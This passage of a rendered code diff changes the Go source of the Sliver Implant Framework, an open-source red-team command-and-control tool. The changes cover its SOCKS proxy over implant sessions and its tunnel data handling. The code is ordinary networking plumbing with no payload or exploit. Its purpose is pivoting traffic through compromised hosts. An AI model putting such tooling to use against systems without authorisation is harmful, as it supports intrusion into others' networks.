log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
break
return err
}
rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
SessionID: tcpProxy.Session.ID,
})
if err != nil {
log.Printf("Failed rcp call to create socks %s\n", err)
break
fmt.Println(err)
return err
}
go connect(connection, proxy, &sliverpb.SocksData{
go connect(l, proxy, &sliverpb.SocksData{
Username: tcpProxy.Username,
Password: tcpProxy.Password,
TunnelID: rpcSocks.TunnelID,
@@ -172,18 +151,17 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
})
}
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
tcpProxy.Listener.Close()
proxy.CloseSend()
return nil
}
// Remove - Remove a TCP proxy instance
func (f *socksProxy) Remove(socksId uint64) bool {
func (f *socksProxy) Remove(socksId int) bool {
f.mutex.Lock()
defer f.mutex.Unlock()
if _, ok := f.tcpProxies[socksId]; ok {
f.tcpProxies[socksId].ChannelProxy.Stop()
f.tcpProxies[socksId].ChannelProxy.stopChan = true
delete(f.tcpProxies, socksId)
return true
}
@@ -201,8 +179,9 @@ func (f *socksProxy) List() []*SocksProxyMeta {
return socksProxy
}
func nextSocksProxyID() uint64 {
return atomic.AddUint64(&SocksProxyID, 1)
func nextSocksProxyID() int {
SocksProxyID++
return SocksProxyID
}
const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -213,19 +192,6 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
SocksConnPool.Store(frame.TunnelID, conn)
defer func() {
// It's neccessary to close and remove connection once we done with it
c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
if !ok {
return
}
conn := c.(net.Conn)
conn.Close()
log.Printf("[socks] connection closed")
}()
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
buff := leakyBuf.Get()
@@ -233,12 +199,11 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
var ToImplantSequence uint64 = 0
for {
n, err := conn.Read(buff)
if err != nil {
log.Printf("[socks] (User to Client) failed to read data, %s ", err)
// Error basically means that the connection is closed(EOF) OR deadline exceeded
// In any of that cases, it's better to just giveup
return
if err == io.EOF {
return
}
continue
}
if n > 0 {
frame.Data = buff[:n]
@@ -246,7 +211,6 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
err := stream.Send(frame)
if err != nil {
log.Printf("[socks] (User to Client) failed to send data, %s ", err)
return
}
ToImplantSequence++
+112 -44
View File
@@ -1,54 +1,130 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"io"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Tunnels - Holds refs to all tunnels
Tunnels tunnels
)
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
stream rpcpb.SliverRPC_TunnelDataClient
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.RLock()
defer t.mutex.RUnlock()
return (*t.tunnels)[tunnelID]
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
}
(*t.tunnels)[tunnelID] = tunnel
go func() {
tunnel.IsOpen = true
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
t.stream.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
}
}()
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
log.Printf("Closing tunnel %d", tunnelID)
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
delete((*t.tunnels), tunnelID)
tunnel.IsOpen = false
close(tunnel.Recv)
close(tunnel.Send)
}
}
// Tunnel - Duplex data tunnel
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
Send chan []byte
Recv chan []byte
}
// Write - Writer method for interface
func (tun *Tunnel) Write(data []byte) (int, error) {
log.Printf("Write %d bytes", len(data))
if !tun.IsOpen {
return 0, io.EOF
}
tun.Send <- data
n := len(data)
return n, nil
}
// Read - Reader method for interface
func (tun *Tunnel) Read(data []byte) (int, error) {
var buff bytes.Buffer
if !tun.IsOpen {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
recvData := <-tun.Recv
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// TunnelLoop - Parses incoming tunnel messages and distributes them
// to session/tunnel objects
// Expected to be called only once during initialization
func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Println("Starting tunnel data loop ...")
defer log.Printf("Warning: TunnelLoop exited")
ctx, cancel := context.WithCancel(context.Background())
stream, err := rpc.TunnelData(ctx)
defer cancel()
stream, err := rpc.TunnelData(context.Background())
if err != nil {
return err
}
GetTunnels().SetStream(stream)
Tunnels = tunnels{
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
stream: stream,
}
for {
log.Printf("Waiting for TunnelData ...")
incoming, err := stream.Recv()
log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream err: %s", err)
// log.Printf("Waiting for TunnelData ...")
incoming, err := stream.Recv()
// log.Printf("Recv stream msg: %v", incoming)
if err == io.EOF {
log.Printf("EOF Error: Tunnel data stream closed")
return nil
@@ -57,24 +133,16 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Printf("Tunnel data read error: %s", err)
return err
}
log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := GetTunnels().Get(incoming.TunnelID)
// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := Tunnels.Get(incoming.TunnelID)
if tunnel != nil {
data := incoming.GetData()
log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
if !incoming.Closed {
log.Printf("Received data on tunnel %d", tunnel.ID)
err = tunnel.RecvData(data)
if err != nil {
log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
}
tunnel.Recv <- incoming.GetData()
} else {
log.Printf("Closing tunnel %d", tunnel.ID)
GetTunnels().Close(tunnel.ID)
tunnel.IsOpen = false
close(tunnel.Recv)
}
} else {
log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)
-146
View File
@@ -1,146 +0,0 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"io"
"log"
"sync"
)
// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
type TunnelIO struct {
ID uint64
SessionID string
Send chan []byte
Recv chan []byte
isOpen bool
mutex *sync.RWMutex
}
// NewTunnelIO - Single entry point for creating instance of new TunnelIO
func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
log.Printf("New tunnel!: %d", tunnelID)
return &TunnelIO{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
isOpen: false,
mutex: &sync.RWMutex{},
}
}
// Write - Writer method for interface
func (tun *TunnelIO) Write(data []byte) (int, error) {
if !tun.IsOpen() {
log.Printf("Warning: Write on closed tunnel %d", tun.ID)
return 0, io.EOF
}
// This is necessary to avoid any race conditions on thay byte array
dataCopy := make([]byte, len(data))
n := copy(dataCopy, data)
log.Printf("Write %d bytes", n)
log.Printf("This bytes is: %s", dataCopy)
tun.Send <- dataCopy
return n, nil
}
// Read - Reader method for interface
func (tun *TunnelIO) Read(data []byte) (int, error) {
recvData, ok := <-tun.Recv
if !ok {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
var buff bytes.Buffer
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// Close - Close tunnel IO operations
func (tun *TunnelIO) Close() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
log.Printf("Warning: Close on closed tunnel %d", tun.ID)
// I guess we can ignore it and don't return any error
return nil
}
log.Printf("Close tunnel %d", tun.ID)
tun.isOpen = false
close(tun.Recv)
close(tun.Send)
return nil
}
func (tun *TunnelIO) IsOpen() bool {
tun.mutex.RLock()
defer tun.mutex.RUnlock()
return tun.isOpen
}
func (tun *TunnelIO) Open() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if tun.isOpen {
return errors.New("tunnel relady in open state")
}
log.Printf("Open tunnel %d", tun.ID)
tun.isOpen = true
return nil
}
// RecvData - safe way to send data to internal Recv channel. Blocking.
func (tun *TunnelIO) RecvData(data []byte) error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
return errors.New("closed tunnel")
}
tun.Recv <- data
return nil
}
Loaded 100 of 4719 files, more files were not shown because too many files have changed in this diff. Show more